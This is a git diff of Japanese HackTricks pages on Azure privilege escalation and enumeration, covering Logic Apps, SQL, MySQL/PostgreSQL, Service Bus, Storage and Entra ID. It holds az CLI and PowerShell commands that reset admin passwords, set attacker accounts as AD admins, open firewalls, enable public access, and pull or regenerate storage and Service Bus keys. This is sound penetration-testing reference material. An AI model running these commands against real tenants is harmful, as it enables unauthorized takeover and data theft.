### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
この権限を持つことで、Azure Logic Appsワークフローを作成または更新できます。ワークフローは、さまざまなシステムやサービス間の自動化されたプロセスと統合を定義します。
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
@@ -26,9 +24,7 @@ az logic workflow update \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
変更後は、次のコマンドで実行できます:
変更した後、次のコマンドで実行できます:
```bash
az rest \
--method post \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
これらの権限を持つことで、ZIPファイルデプロイメントを使用してLogic Appワークフローをデプロイできます。これらの権限により、アプリの詳細を読み取ったり、公開資格情報にアクセスしたり、変更を加えたり、アプリの構成を一覧表示したりすることができます。スタート権限とともに、希望するコンテンツで新しいLogic Appを更新およびデプロイできます。
{% code overflow="wrap" %}
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
これらの権限を持つことで、ZIPファイルデプロイメントを使用してLogic Appワークフローをデプロイできます。これらの権限、アプリの詳細を読み取ったり、公開資格情報にアクセスしたり、変更を加えたり、アプリの構成を一覧表示したりするアクションを可能にします。スタート権限とともに、希望するコンテンツで新しいLogic Appを更新およびデプロイできます。
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,17 +3,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## MySQLデータベースの特権昇格
SQLデータベースに関する詳細情報は、以下を確認してください:
SQLデータベースに関する詳細情報はを確認してください:
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
この権限を持つことで、Azure上でMySQL Flexible Serverインスタンスを作成、更新、または削除できます。これには、新しいサーバーのプロビジョニング、既存のサーバー構成の変更、またはサーバーの廃止が含まれます。
{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name <ServerName> \
@@ -26,32 +24,20 @@ az mysql flexible-server create \
--tier <PricingTier> \
--version <MySQLVersion>
```
{% endcode %}
例えば、これらの権限はMySQLのパスワードを変更することを許可します。これは、MySQL認証が有効な場合に便利です。
{% code overflow="wrap" %}
例えば、これらの権限はMySQLのパスワードを変更することを許可します。これは、もちろんMySQL認証が有効な場合に便利です。
```bash
az mysql flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
さらに、プライベートエンドポイント以外からアクセスする場合は、パブリックアクセスを有効にする必要があります。有効にするには:
{% code overflow="wrap" %}
```bash
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
この権限を持つことで、MySQL Flexible ServerのAzure Active Directory (AD) 管理者を構成できます。これは、自分自身または他のアカウントをAD管理者として設定することで悪用でき、MySQLサーバーに対する完全な管理権限を付与します。フレキシブルサーバーには、使用するためにユーザー割り当てのマネージドアイデンティティが必要です。
{% code overflow="wrap" %}
```bash
az mysql flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -60,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,15 +5,13 @@
## PostgreSQL Privesc
SQL Databaseに関する詳細情報は、以下を確認してください:
{% content-ref url="../az-services/az-postgresql.md" %}
{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
この権限を持つことで、Azure上でPostgreSQL Flexible Serverインスタンスを作成、更新、または削除できます。これには、新しいサーバーのプロビジョニング、既存のサーバー構成の変更、またはサーバーの廃止が含まれます。
{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name <ServerName> \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier <PricingTier> \
--version <PostgreSQLVersion>
```
{% endcode %}
例えば、これらの権限はPostgreSQLのパスワードを変更することを許可します。これは、もちろんPostgreSQL認証が有効な場合に役立ちます。
{% code overflow="wrap" %}
```bash
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
さらに、プライベートエンドポイント以外からアクセスする場合は、パブリックアクセスを有効にする必要があります。有効にするには:
{% code overflow="wrap" %}
パブリックアクセスを有効にする必要があります。非プライベートエンドポイントからアクセスしたい場合は、これを有効にするには:
```bash
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
この権限を持つことで、PostgreSQL Flexible ServerのAzure Active Directory (AD) 管理者を構成できます。これは、自分自身または他のアカウントをAD管理者として設定することで悪用でき、PostgreSQLサーバーに対する完全な管理権限を付与します。既存のプリンシパルの更新はまだサポートされていないため、作成されている場合は最初に削除する必要があります。
フレキシブルサーバーには、使用するためユーザー割り当てのマネージドアイデンティティが必要です。
{% code overflow="wrap" %}
フレキシブルサーバーには、使用するためユーザー割り当てのマネージドアイデンティティが必要です。
```bash
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Service Bus
詳細については、次を確認してください
詳細については、次を確認してください:
{{#ref}}
../az-services/az-servicebus-enum.md
@@ -83,7 +83,7 @@ print("----------------------------")
```
### メッセージを受信する。アクション: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` または `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
PrimaryConnectionStringを取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用して、名前空間内の任意のキューまたはサブスクリプションからメッセージを受信でき、潜在的に機密または重要なデータへのアクセスを可能にし、データの流出を促進したり、メッセージ処理やアプリケーションのワークフローに干渉したりすることができます。
PrimaryConnectionStringを取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用すると、名前空間内の任意のキューまたはサブスクリプションからメッセージを受信でき、潜在的に機密または重要なデータアクセスでき、データの流出を可能にしたり、メッセージ処理やアプリケーションのワークフローに干渉したりすることができます。
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
これらの権限がある場合、共有アクセスキーを読み取ったり作成したりすることで特権を昇格させることができます。これらのキーは、キュー、トピックの管理、メッセージの送受信を含むService Bus名前空間完全な制御を可能にし、役割ベースのアクセス制御RBACを回避する可能性があります。
これらの権限がある場合、共有アクセスキーを読み取ったり作成したりすることで特権を昇格させることができます。これらのキーは、キュー、トピックの管理、メッセージの送受信を含むService Bus名前空間に対する完全な制御を可能にし、役割ベースのアクセス制御RBACを回避する可能性があります。
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \

View File

@@ -10,7 +10,7 @@ SQL Databaseに関する詳細情報は、以下を確認してください:
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
これらの権限を持つユーザーは、Azure SQLサーバーを更新または作成し、管理者資格情報を含む重要な設定を変更することで特権昇格を行うことができます。この権限により、ユーザーはSQLサーバー管理者パスワードを含むサーバーのプロパティを更新でき、不正アクセスやサーバーの制御を可能にします。また、新しいサーバーを作成することもでき、悪意のある目的のためにシャドウインフラストラクチャを導入する可能性があります。特に「Microsoft Entra Authentication Only」が無効になっている環境では、SQLベースの認証を悪用して無制限のアクセスを得ることができるため、これは特に重要です。
```bash
@@ -28,16 +28,16 @@ az sql server create \
--admin-user <admin_username> \
--admin-password <admin_password>
```
また、プライベートエンドポイント以外からアクセスする場合は、パブリックアクセスを有効にする必要があります。有効にするには:
パブリックアクセスを有効にする必要があります。プライベートエンドポイント以外からアクセスしたい場合は、これを有効にするには:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
```
### "Microsoft.Sql/servers/firewallRules/write"
### `Microsoft.Sql/servers/firewallRules/write`
攻撃者は、Azure SQL サーバーのファイアウォールルールを操作して、不正アクセスを許可することができます。これを利用して、特定の IP アドレスや全体の IP 範囲(パブリック IP を含む)に対してサーバーを開放し、悪意のあるアクターのアクセスを可能にします。このポストエクスプロイ活動は、既存のネットワークセキュリティコントロールを回避したり、持続性を確立したり、敏感なリソースを露出させることによって環境内での横移動を促進するために使用される可能性があります。
攻撃者は、Azure SQL サーバーのファイアウォールルールを操作して、不正アクセスを許可することができます。これを利用して、特定の IP アドレスや全体の IP 範囲(パブリック IP を含む)に対してサーバーを開放し、悪意のあるアクターのアクセスを可能にします。このポストエクスプロイテーション活動は、既存のネットワークセキュリティコントロールを回避したり、持続性を確立したり、敏感なリソースを露出させることによって環境内での横移動を促進するために使用される可能性があります。
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -56,9 +56,9 @@ az sql server firewall-rule update \
--end-ip-address <new-end-ip-address>
```
さらに、`Microsoft.Sql/servers/outboundFirewallRules/delete` 権限を持つことで、ファイアウォールルールを削除できます。
注意:パブリックアクセスを有効にする必要があります。
注意: 公共アクセスを有効にする必要があります。
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
この権限を使用すると、Azure SQL Server上でIPv6ファイアウォールルールを作成、変更、または削除できます。これにより、攻撃者や認可されたユーザーが既存のネットワークセキュリティ構成を回避し、サーバーへの不正アクセスを得る可能性があります。任意のIPv6アドレスからのトラフィックを許可するルールを追加することで、攻撃者はサーバーを外部アクセスに対して開放することができます。
```bash
@@ -72,9 +72,9 @@ az sql server firewall-rule create \
さらに、`Microsoft.Sql/servers/ipv6FirewallRules/delete` 権限を使用すると、ファイアウォールルールを削除できます。
注意:パブリックアクセスを有効にする必要があります。
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
この権限を使用すると、Azure SQL Server 環境で SQL データベースにアクセスし、重要な情報を取得することができます。以下のコマンドを使用する、攻撃者または認可されたユーザーは、自分自身または別のアカウントを Azure AD 管理者として設定できます。"Microsoft Entra Authentication Only" が有効になっている場合、サーバーとそのインスタンスにアクセスできます。SQL サーバーの Azure AD 管理者を設定するためのコマンドは次のとおりです:
この権限を使用すると、Azure SQL Server 環境で SQL データベースにアクセスし、重要な情報を取得することができます。以下のコマンドを使用することで、攻撃者または認可されたユーザーは、自分自身または別のアカウントを Azure AD 管理者として設定できます。Microsoft Entra Authentication Onlyが有効になっている場合、サーバーとそのインスタンスにアクセスできます。SQL サーバーの Azure AD 管理者を設定するためのコマンドは次のとおりです:
```bash
az sql server ad-admin create \
--server <server_name> \
@@ -82,9 +82,9 @@ az sql server ad-admin create \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
これらの権限を持つことで、Azure SQL Serverで「Microsoft Entra Authentication Only」を構成および強制することができ、特定のシナリオで特権昇格を促進する可能性があります。攻撃者またはこれらの権限を持つ認可されたユーザーは、Azure AD専用認証を有効または無効にすることができます。
これらの権限を使用すると、Azure SQL Serverで「Microsoft Entra Authentication Only」を構成および強制することができ、特定のシナリオで特権昇格を促進する可能性があります。攻撃者またはこれらの権限を持つ認可されたユーザーは、Azure AD専用認証を有効または無効にすることができます。
```bash
#Enable
az sql server azure-ad-only-auth enable \

View File

@@ -10,23 +10,23 @@
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/listkeys/action
### `Microsoft.Storage/storageAccounts/listkeys/action`
この権限を持つプリンシパルは、ストレージアカウントの**アクセスキー**のリスト(および秘密値)を表示できるようになります。これにより、プリンシパルはストレージアカウントに対する権限を昇格させることができます。
```bash
az storage account keys list --account-name <acc-name>
```
### Microsoft.Storage/storageAccounts/regenerateKey/action
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
この権限を持つプリンシパルは、ストレージアカウントの**アクセスキー**の新しい秘密値を更新および取得することができます。これにより、プリンシパルはストレージアカウントに対する権限を昇格させることができます。
この権限を持つプリンシパルは、ストレージアカウントの**アクセスキー**の新しい秘密値を更新および取得できるようになります。これにより、プリンシパルはストレージアカウントに対する権限を昇格させることができます。
さらに、レスポンスには更新されたキーの値と更新されていないキーの値の両方が含まれます:
さらに、レスポンスには更新されたキーの値と更新されていないキーの値含まれます:
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
### Microsoft.Storage/storageAccounts/write
### `Microsoft.Storage/storageAccounts/write`
この権限を持つプリンシパルは、ネットワークルールやポリシーなどの設定を更新して、既存のストレージアカウントを作成または更新することができます。
この権限を持つプリンシパルは、既存のストレージアカウントを作成または更新し、ネットワークルールやポリシーなどの設定を更新することができます。
```bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow
@@ -36,12 +36,12 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
```
## Blobs Specific privesc
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
最初の権限はコンテナ内の**不変ポリシーを変更する**ことを許可し、2番目はそれらを削除することを許可します。
> [!NOTE]
> 不変ポリシーがロック状態にある場合、どちらの操作も行えないことに注意してください。
> 不変ポリシーがロック状態にある場合、どちらも実行できないことに注意してください。
```bash
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -56,19 +56,19 @@ az storage container immutability-policy update \
```
## ファイル共有特有の特権昇格
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
この権限を持つユーザーは、共有ファイルシステム内のファイルの所有権を取得できるはずです。
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
この権限を持つユーザーは、共有ファイルシステム内のファイルの権限を変更できるはずです。
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
この権限を持つユーザーは、スーパーユーザーとしてファイルシステム内でアクションを実行できるはずです。
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
この権限を持つ攻撃者は、Azure Storage アカウント(階層名前空間で構成されている)用の新しいローカルユーザーを作成および更新(`Microsoft.Storage/storageAccounts/localusers/read` 権限がある場合できます。これには、ユーザーの権限やホームディレクトリを指定することが含まれます。この権限は、攻撃者が読み取りr、書き込みw、削除d、リストlなどの特定の権限を持つストレージアカウントを自分に付与できるため、重要です。さらに、これに使用される認証方法は、Azure生成のパスワードやSSHキーのペアです。ユーザーがすでに存在するかどうかのチェックはないため、既存の他のユーザーを上書きすることができます。攻撃者は特権を昇格させ、ストレージアカウントへのSSHアクセスを取得し、機密データを露出または侵害する可能性があります。
```bash
@@ -80,9 +80,9 @@ az storage account local-user create \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
この権限を持つ攻撃者は、Azure Storage アカウント内のローカルユーザーのパスワードを再生成できます。これにより、攻撃者はユーザーの新しい認証情報SSH または SFTP パスワードなど)を取得する能力を得ます。これらの認証情報を利用することで、攻撃者はストレージアカウントへの不正アクセスを行ったり、ファイル転送を実行したり、ストレージコンテナ内のデータを操作したりすることができます。これにより、データの漏洩、破損、またはストレージアカウントの内容の悪意のある変更が発生する可能性があります。
この権限を持つ攻撃者は、Azure Storage アカウント内のローカルユーザーのパスワードを再生成できます。これにより、攻撃者はユーザーの新しい認証情報SSH または SFTP パスワードなど)を取得する能力を得ます。これらの認証情報を利用することで、攻撃者はストレージアカウントへの不正アクセスを行ったり、ファイル転送を行ったり、ストレージコンテナ内のデータを操作したりすることができます。これにより、データの漏洩、破損、またはストレージアカウントの内容の悪意のある変更が発生する可能性があります。
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -94,9 +94,9 @@ Azure Blob StorageにSFTPを介してアクセスするにはis_hns_enabled
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
この権限を持つ攻撃者は、削除されたバージョンIDを指定することで削除されたコンテナを復元したり、以前にソフト削除された場合にコンテナ内の特定のBlobを復元したりすることができます。この特権昇格により、攻撃者は永久に削除される予定だった機密データを回復できる可能性があり、無許可のアクセスにつながる可能性があります。
れらの権限を持つ攻撃者は、削除されたバージョンIDを指定することで削除されたコンテナを復元したり、以前にソフト削除された場合にコンテナ内の特定のBlobを復元したりすることができます。この特権昇格により、攻撃者は永久に削除される予定だった機密データを回復できる可能性があり、無許可のアクセスにつながる可能性があります。
```bash
#Restore the soft deleted container
az storage container restore \
@@ -110,9 +110,9 @@ az storage blob undelete \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
```
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
これらの権限を持つ攻撃者は、削除されたバージョンIDを指定することで削除されたAzureファイル共有を復元できます。この特権の昇格により、攻撃者は永に削除される予定だった機密データを回復できる可能性があり、無許可のアクセスにつながる可能性があります。
これらの権限を持つ攻撃者は、削除されたバージョンIDを指定することで削除されたAzureファイル共有を復元できます。この特権の昇格により、攻撃者は永続的に削除される予定だった機密データを回復できる可能性があり、無許可のアクセスにつながる可能性があります。
```bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \

View File

@@ -482,12 +482,12 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
#### グループにユーザーを追加
グループの所有者は、新しいユーザーをグループに追加できます
グループのオーナーは新しいユーザーをグループに追加できます
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> グループは動的であり、基本的に**ユーザーが特定の条件を満たすとグループに追加される**ことを意味します。もちろん、条件が**ユーザー**が**制御**できる**属性**に基づいている場合、彼はこの機能を悪用して**他のグループに入る**ことができます。\
> グループは動的であり、基本的に**ユーザーが特定の条件を満たすとグループに追加される**ことを意味します。もちろん、条件が**ユーザー**が**制御**できる**属性**に基づいている場合、彼はこの機能を悪用して**他のグループに入る**ことができます。\
> 動的グループを悪用する方法については、次のページを確認してください:
{{#ref}}
@@ -799,7 +799,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
> アプリケーションがトークンを要求する際にそのアイデンティティを証明するために使用する秘密の文字列は、アプリケーションパスワードです。\
> したがって、この **パスワード** を見つけると、**テナント** 内の **サービスプリンシパル** としてアクセスできます。\
> このパスワードは生成時にのみ表示されることに注意してください(変更することはできますが、再取得することはできません)。\
> **アプリケーション** の **所有者** は、(そのアプリケーションを偽装できるように)**パスワード** を追加できます。\
> **アプリケーション** の **所有者** は、(彼がそれを偽装できるように)**パスワード** を追加できます。\
> これらのサービスプリンシパルとしてのログインは **リスクあり** としてマークされず、**MFA** はありません。
一般的に使用される Microsoft のアプリ ID のリストは [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) で見つけることができます。
@@ -824,7 +824,7 @@ az identity list --output table
### Azure Roles
Azure ロールに関する詳細情報は、以下を確認してください:
Azureロールに関する詳細情報は、以下を確認してください
{{#ref}}
../az-basic-information/
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
Get-AzDenyAssignment # Get from current subscription
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
```
{{#endtab }}
{{#endtabs }}
```
{{#endtab }}
{{#tab name="Raw" }}
```bash
# リソースに対する権限をARMを使用して直接取得する
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
@@ -913,13 +906,12 @@ Headers = @{
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}
### Entra ID Roles
### Entra ID ロール
For more information about Azure roles check:
Azure ロールに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-basic-information/
@@ -927,134 +919,125 @@ For more information about Azure roles check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Entra ID ロールのテンプレートをリスト
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# 有効な組み込み Entra ID ロールをリスト
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# 権限を持つすべての Entra ID ロールをリスト(カスタムロールを含む)
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# カスタム Entra ID ロールのみをリスト
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# 割り当てられたすべての Entra ID ロールをリスト
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# Entra ID ロールのメンバーをリスト
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# ユーザーに割り当てられた Entra ID ロールをリスト
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# グループに割り当てられた Entra ID ロールをリスト
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# サービスプリンシパルに割り当てられた Entra ID ロールをリスト
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# 利用可能なロールテンプレートを取得
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# 有効なロールを取得(割り当てられたロール)
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #ロールに関する情報を取得
# カスタムロールを取得 - AzureAdPreviewを使用
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# ロールが割り当てられたユーザー(グローバル管理者)
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# 管理ユニットのロール(管理ユニットとそのメンバーに対する権限を持つ者)
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}
### Devices
### デバイス
{{#tabs }}
{{#tab name="az cli" }}
```bash
# これを行う方法がわかる場合は、PRを送信してください
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Microsoft Graph PowerShellを使用してデバイスを列挙する
# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All
# デバイスの詳細を取得する
# Get device details
Get-MgDevice -DeviceId <DeviceId> | Format-List *
# Intuneで管理されているデバイスを取得する
# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All
# ユーザーが所有するデバイスを取得する
# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
# Microsoft Graph PowerShellで利用可能なコマンドのリスト
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# デバイスの列挙
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# アクティブなデバイス(古いデバイスではない)をリスト
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# すべてのデバイスの所有者を取得
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# すべてのデバイスの登録ユーザー
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Intuneを使用して管理されているデバイスを取得
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# ユーザーが所有するデバイスを取得
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# デバイスの管理単位を取得
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
